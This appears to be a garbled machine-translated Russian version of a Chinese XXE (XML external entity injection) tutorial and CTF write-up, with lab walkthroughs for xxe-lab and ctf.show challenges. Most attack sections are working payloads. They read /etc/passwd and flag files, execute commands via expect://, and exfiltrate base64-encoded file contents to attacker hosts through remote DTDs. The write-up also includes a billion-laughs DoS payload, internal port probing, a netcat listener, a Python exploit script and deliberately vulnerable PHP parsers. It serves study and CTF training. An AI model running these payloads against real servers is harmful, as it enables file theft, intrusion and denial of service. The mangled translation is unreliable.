Статья впервые появилась в сообществе Popping Candy.https://tttang.com/archive/1716/
После систематического изучения я сделаю краткое изложение XXE. Надеюсь, оно будет полезно мастерам, изучающим XXE.
XML — это язык разметки, используемый для маркировки электронных документов, чтобы сделать их структурными. Его можно использовать для маркировки данных и определения типов данных. Это исходный язык, который позволяет пользователям определять свой собственный язык разметки. Конкретное введение заключается в следующем.
XML относится к расширяемому языку разметки (EXtensible Markup Language). XML предназначен для передачи данных, а не для их отображения. XML — это рекомендация W3C. XML ничего не сделает. XML предназначен для структурирования, хранения и передачи информации. Язык XML не имеет предопределенных тегов.
Структура документа XML включает в себя следующие
1、XMLзаявление
//Пример: <?xml version="1.0" encoding="UTF-8"?>
2. Определение типа документа DTD (необязательно): Определение типа документа DTD представляет собой набор грамматических правил для тегов, установленных для обмена программами.
3. Элементы документа
Строительные блоки XML аналогичны HTML и состоят из следующих элементов:
Элемент: основной строительный блок XML-документа, который может содержать текстовое содержимое.
//Пример: <username>quan9i</username>
Атрибуты: предоставляют дополнительную информацию об элементе.
//Пример: <img src="1.jpg"/> src — атрибут да
Сущность: Сущность да используется для определения переменных обычного текста. Ссылка на сущность да Ссылка на сущность.
PCDATA(parsed character data): данные проанализированного символа.
ps:PCDATA да Текст, который будет анализироваться парсером. Эти тексты будут проверены парсером на наличие сущностей и тегов.
CDATA(character data):характерданные
ps:CDATA да Текст, который не будет анализироваться парсером.
XML Разработанный для передачи и хранения данных, он фокусируется на содержании данных и предназначен для передачи информации.
зачем нуженXMLШерстяная ткань,ЦитироватьQwzf
Слова Мастера
В реальной жизни между некоторыми данными часто существует определенная связь. Мы надеемся, что сможем сохранять и обрабатывать эти данные на компьютере, а также сохранять и обрабатывать взаимосвязи между ними. XML — это формат хранения данных, созданный для решения таких задач.
1. Все XML Все элементы должны иметь закрывающий тег.
2、XML Метки чувствительны к регистру.
3、XML Должно быть правильно вложено.
4、XML Документ должен иметь корневой элемент.
5、XML Значение атрибута должно быть заключено в кавычки.
6、实体Цитировать:в атрибуте метки,и соответствующее значение позиции может появиться<>символ,Однако эти символы имеют особое значение в соответствующем XML.,На данный момент мы должны использовать соответствующий объект HTML для представления,
//Пример:<символ对应的实体就да<
7. В XML пробелы сохранятся
//Пример:<p>aaкосмосbb</p>,Это пространство будет сохранено
Приведите пример
<?xml version="1.0" encoding="UTF-8"?> <!--xmlДокументальный фильмзаявление-->
<tttang> <!--корневой элемент-->
<article category="CTF"> <!--tttangдочерние элементы,categoryдля атрибутов-->
<title>XXE</title> <!--articleдочерние элементы-->
<author>quan9i</author> <!--articleдочерние элементы-->
<year>2022</year> <!--articleдочерние элементы-->
<data>8.20</data> <!--articleдочерние элементы-->
</article> <!--articleконец-->
</tttang> <!--tttangконец-->
Теперь, когда у нас есть определенное понимание правил XML, мы можем изучить DTD.
Определение типа документа (DTD) определяет допустимые строительные блоки XML-документа. Он использует ряд юридических элементов для определения структуры документа и ограничивает структуру XML-документа. ОТД может быть в заявлении XML Документация, также доступная как внешнее цитирование。
Потому что его можно использовать как в технологиях, так и в технологиях. цитирование,Также доступен ввнешнее цитирование,Это приводит к трем способам его использования.:внутреннее цитирование
,внешнее цитирование
а такжеВнутренние + внешние ссылки
Формат
<!DOCTYPE корневой элемент[Определить контент]>
Пример
<?xml version="1.0"?> <!--XMLзаявление -->
<!DOCTYPE note [ <!--определенныйnoteэлемент-->
<!ELEMENT note (to,from,heading,body)> <!--определениеnoteэлемент下的四индивидуальныйэлемент-->
<!ELEMENT to (#PCDATA)> <!--определенныйnoteдочерние элементыto,(#PCDATA)表示элементtoдахарактер串形式-->
<!ELEMENT from (#PCDATA)> <!--определенныйnoteдочерние элементыfrom,(#PCDATA)表示элементfromдахарактер串形式-->
<!ELEMENT heading (#PCDATA)> <!--определенныйnoteдочерние элементыheading,(#PCDATA)表示элементheadingдахарактер串形式-->
<!ELEMENT body (#PCDATA)> <!--определенныйnoteдочерние элементыbody,(#PCDATA)表示элементbodyдахарактер串形式-->
]>
<!-- До сих пор,вышедаDTD文档определение-->
<note>
<to>quan9i</to>
<from>is</from>
<heading>a</heading>
<body>web xiao bai!</body>
</note>
Формат
<!DOCTYPE корневой элемент SYSTEM «Путь к файлу DTD»>
Пример:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>quan9i</to>
<from>is</from>
<heading>a</heading>
<body>web xiao bai!</body>
</note>
Содержимое файла note.dtd следующее:
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
Формат
<!DOCTYPE корневой элемент SYSTEM «Путь к файлу DTD» [Определить контент]>
сущность DTDда используется для определения переменных, которые ссылаются на ярлыки обычного текста или специальных символов, которые могут быть внутренними или внешними. цитирование。 Другими словами, среди типов сущностей в DTD они обычно делятся на: сущностьивнешний объект。 Подразделение сущностей делится на общие сущности и сущности параметров.
Общие сущности:
определение:<!ENTITY Имя объекта "содержимое объекта">
вызов:&Имя объекта;
Сущность параметра:
определение:<!ENTITY % Имя объекта "содержимое объекта”>
вызов:%Имя объекта;
Формат
<!ENTITY Имя объекта "Значение сущности">
Пример
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY article "XXE">
<!ENTITY author "quan9i">
]>
<test><article>&article;</article><author>&author;</author></test>
Формат
<!ENTITY Имя объекта SYSTEM "URI/URL">
или
<!ENTITY Имя объекта PUBLIC "public_ID" "URI">
Пример
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY author SYSTEM "quan9i.xml">
]>
<test>&author;</test>
внешний объект также поддерживает http и другие протоколы, как показано ниже.
И здесь снова пример
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<test>&file;</test>
В то же время, поскольку существует два типа сущностей, вот еще один пример для понимания сущностей параметров. Пример
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
Теперь, когда у вас есть определенное представление об этих знаниях, вы можете взглянуть на XXE.
Полное название уязвимости XXE — XML. External Entity Injection , а именно xmlвнешний объектинъекциялазейки。
XXЭлазейки возникают, когда приложение анализирует ввод XML.,Загрузка внешнего объекта не запрещена,Позволяет загружать вредоносные внешние файлы.
Вызов чтения файла выполнение команды Сканирование интранет-портов Атака на интранет-сайт Запуск DOS-атак и других опасностей
Точка, в которой срабатывает уязвимость XXE, часто является местом загрузки XML-файлов. Загруженные XML-файлы не фильтруются, что приводит к загрузке вредоносных XML-файлов.
Тестовый код выглядит следующим образом
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
Код описан ниже
file_get_contents('php://input'): Получить контент, введенный клиентом.
new DOMDocument(): инициализировать парсер XML
loadXML($xmlfile): загрузить содержимое XML, введенное клиентом.
simplexml_import_dom($dom) получает узел документа XML, возвращает объект SimpleXMLElement в случае успеха и возвращает FALSE в случае неудачи.
$xxe=$xml->xxe:получатьSimpleXMLElementУзлы в объектеXXE
echo $str: Вывод содержимого XXE.
POST загрузка контента
<?xml version="1.0" encoding="utf-8"?> //XMLзаявление
<!DOCTYPE xml [ //определяем элементы XML
<!ENTITY quan9i SYSTEM "file:///c:/windows/system.ini"> //Определяем общую сущность quan9i
]>
<xml>
<xxe>&quan9i;</xxe>
</xml>
Попробуйте прочитать другие файлы
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY quan9i SYSTEM "file:///d:/flag.txt">
]>
<test>
<xxe>&quan9i;</xxe>
</test>
Исходный код выглядит следующим образом
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>
Создайте полезную нагрузку следующим образом
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
штурмовикhttp://192.168.134.128
серединаeval.xml
Содержание
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
Так что, если у вас есть такая идея, просто сначала позвоните удаленно.,Фактически он содержит только файлы на атакующей машине.,Затем вызовите объект параметра полезной нагрузки,В это время включается файл объекта параметра.,Тогда файл будет читаться в это время,Тогда в это времяsendСодержаниедаhttp://192.168.134.128/?content=Содержимое файла
,Мы вызываем отправку в это время,Воля Получить содержимое файла
Проще говоря, это
1、вызовremote-->Включатьeval.xml
2、вызовpayload-->Включатьfileобъект параметра-->Чтение содержимого файла(в это времяsendсередина就дасодержимое файла)
3. Вызов отправки (удаление содержимого файла)
Раскодируйте его с помощью base64
Это запись прочитанного файла на атакующей машине. Мы также можем записать его локально, вот так. Создание полезной нагрузки
<!DOCTYPE convert [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
штурмовик上eval.xml
содержание
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
получить флаг
От XMLвнешний внедрение объекта, злоумышленник может отправлять произвольные HTTP-запросы, поскольку синтаксический анализатор будет анализировать все объекты в документе, поэтому, если запросы объектов вложены слой за слоем, определенное количество может вызвать DoS на сервере. Распространенные вредоносные коды XML следующие:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "dos">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
вызовlol9
Когда параметры сущности,会вызов10индивидуальныйlol8
Параметры сущности,而每индивидуальныйlol8
Параметры сущности又Включать十индивидуальныйlol7
параметр,в это время就已经вызов了10^2
индивидуальныйобъект параметра了,Дальше будет больше,Этот файл размером менее 1 КБ после анализа будет занимать много памяти.,Со временем оно займет 3G памяти, что показывает, что эта лазейкида очень опасна.
Обычно мы можем сконструировать его таким образом для проведения DOS-атаки.
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
Когда мы получаем IP-адрес интрасети, если Есть эхо, о котором можно судить по времени доступа и Энциклопедии в браузере
存活的端口ЭнциклопедиядляHTTP request failed!
Неактивный порт Энциклопедия Кусочекfailed to open stream
Мы также можем использовать bp, чтобы проверить, активен ли порт. Полезная нагрузка примера выглядит следующим образом.
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "http://10.244.80.20">
]>
<user><username>&file;</username><password>1</password></user>
Затем используйте Burpsuite, чтобы взорвать порт и оценить, жив ли порт, на основе эха.
Указывает, что это не живое См. фактическую операцию ниже для конкретных операций.
Расширение PHPexpect может напрямую выполнять системные команды, но, к сожалению, это расширение не установлено по умолчанию. ссылка на полезную нагрузку
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
Энциклопедия
<file>uid=501(Apple) gid=20(staff)
groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),
80(admin),81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),
399(com.apple.access_ssh)<file>
адрес GitHub https://github.com/c0ny1/xxe-lab
Тот, что идет в комплекте с тиром - да Есть эхо, исходный код такой
<?php
$USERNAME = 'admin'; //счет
$PASSWORD = 'admin'; //пароль
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
//echo $result;
?>
Способ тот же, что и раньше, теперь ищем Есть точку эхо, а затем использовать файл, который мы хотим прочитать, в качестве содержимого параметра объекта, вызвать параметр объекта, и выходной результат будет: содержимое файла Создайте полезную нагрузку следующим образом
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xml [
<!ENTITY quan9i SYSTEM "file:///c:/windows/system.ini">
]>
<user>
<username>&quan9i;</username>
<password>1</password>
</user>
Измените файл и повторите попытку.
Просто аннотируйте выходную информацию о стрельбище.
Просто введите его и захватите пакеты
протестируй это
В это время да Нет ответ, что соответствует Слепому В случае XXE вы можете использовать вынос и псевдопротокол для получения содержимого файла. Конкретный метод заключается в следующем. Создайте полезную нагрузку следующим образом
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY %file SYSTEM "php://filter/convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/xxe-lab-master/php_xxe/doLogin.php"
//Кодировка PHP base64 используется в заявлении объекта параметра, чтобы можно было попытаться избежать ошибок синтаксического анализатора XML из-за особенностей содержимого файла.
<!ENTITY %dtd SYSTEM "http://192.168.134.128/eval.xml">
%dtd;
%send;
]>
штурмовик192.168.134.128
серединаeval.xml
содержание
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
//%Кодирование объектов%
%payload;
Краткое описание методов атаки 1、%dtd :Включатьeval.xml–>вызовpayloadПараметры сущности–>вызовfileПараметры сущности–>查看指定документ В настоящее время содержимое параметра объекта отправки является содержимым файла. 2. %send, вызов параметров объекта отправки , в это время содержимое файла будет удалено
Base64 декодирует содержимое
Получить содержимое файла
Исходный код
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
Нетрудно обнаружить, что слова здесь выведеныда这индивидуальный$ctfshow
,Итак, здесь мы просто помещаем ссылку на элемент в это,Создайте полезную нагрузку следующим образом
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<quan9i>
<ctfshow>&xxe;</ctfshow>
</quan9i>
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
Здесь я обнаружил, что Энциклопедия отсутствует. Вам нужно использовать метод, предложенный предыдущим сервером, для получения содержимого файла. Конкретный метод атаки заключается в следующем. payload
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%aaa;
]>
<xxe>1</xxe>
Содержимое файла сервера
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://124.222.255.142:7777/?content=%file;'> ">
%dtd;
%xxe;
Base64 декодирует содержимое файла, чтобы получить флаг. Принцип также очень прост, аналогичен предыдущему.
1、вызовaaaобъект параметра-->Включатьdtdдокумент-->xml.dtdдокументсередина Включать了fileобъект параметра-->fileобъект параметра被вызов,成功读取документ-->xml.dtdдокументвызовdtdобъект параметра,в это время就Включать了后面那些内容-->xml.dtdдокументвызовxxeобъект параметра,Объект параметра xxe содержит объект параметра файла.,То есть содержимое файла да,В это время контент будет опубликован
2. Прослушиваем порт 7777.,Получить этот контент,Это эквивалентно доступу к файлу,На этом этапе мы можем достичь нашей цели - вынос
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
Добавлена фильтрация,Отфильтрованный контент<?xml version="1.0"
,Мы можем отключить полезную нагрузку, как указано выше.,Но здесь мы называем это в полезной нагрузке,Не звонить в файлах,Полезная нагрузка следующая
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % xxe SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%xxe;
%dtd;
%send;
]>
<xxe>1</xxe>
Содержимое файла
<!ENTITY % dtd "<!ENTITY % send SYSTEM 'http://124.222.255.142:7777/?content=%file;'> ">
Сначала слушайте, затем отправляйте пакеты
nc -lvnp 7777
декодирование base64 может получить флаг
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
По сравнению с Shangguan добавлена фильтрация регистра. Мы можем использовать ту же идею, что и раньше.
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
После фильтрации http мы устанавливаем специальный метод кодировки (например: UTF-16), чтобы его можно было обойти, конвертировав. В противном случае bp нам здесь не нужен. Для атаки используем скрипт Python. следует
import requests
url = 'http://95b7794d-1b60-4bfb-926c-e1bfbb955c8f.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % xxe SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%xxe;
%dtd;
%send;
] >
<xxe>1</xxe>
"""
requests.post(url ,data=data.encode('utf-16'))
print("done!")
Сначала прослушайте, затем запустите скрипт
Интерфейс похож на xxe-lab, захватите пакеты и посмотрите
Это правда на первый взгляд, идентификация завершена, да Есть XXE эхо можно прочитать напрямую, используя файловый псевдопротокол.
<!DOCTYPE test[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>1</password></user>
В интерфейсе есть два поля ввода. Вы можете ввести все, что захотите, а затем захватить пакет. попробуй прочитать файл
<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///flag">
]>
<user><username>&quan9i;</username><password>1</password></user>
Если обнаружено, что файла флага нет, то необходимо обнаружить другие файлы.
<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///etc/passwd">
]>
<user><username>&quan9i;</username><password>1</password></user>
<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///etc/hosts">
]>
<user><username>&quan9i;</username><password>1</password></user>
<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///proc/net/arp">
]>
<user><username>&quan9i;</username><password>1</password></user>
Получите айпи и проведите Обнаружение интрасети
Он еще не взорвался,Объяснение может быть не в этом,Давайте изменимfile:///proc/net/fib_trie
Команда продолжения поискаip
продолжать Обнаружение интрасети Установить переменные
Настройка времени
Увеличьте размер резьбы
получить флаг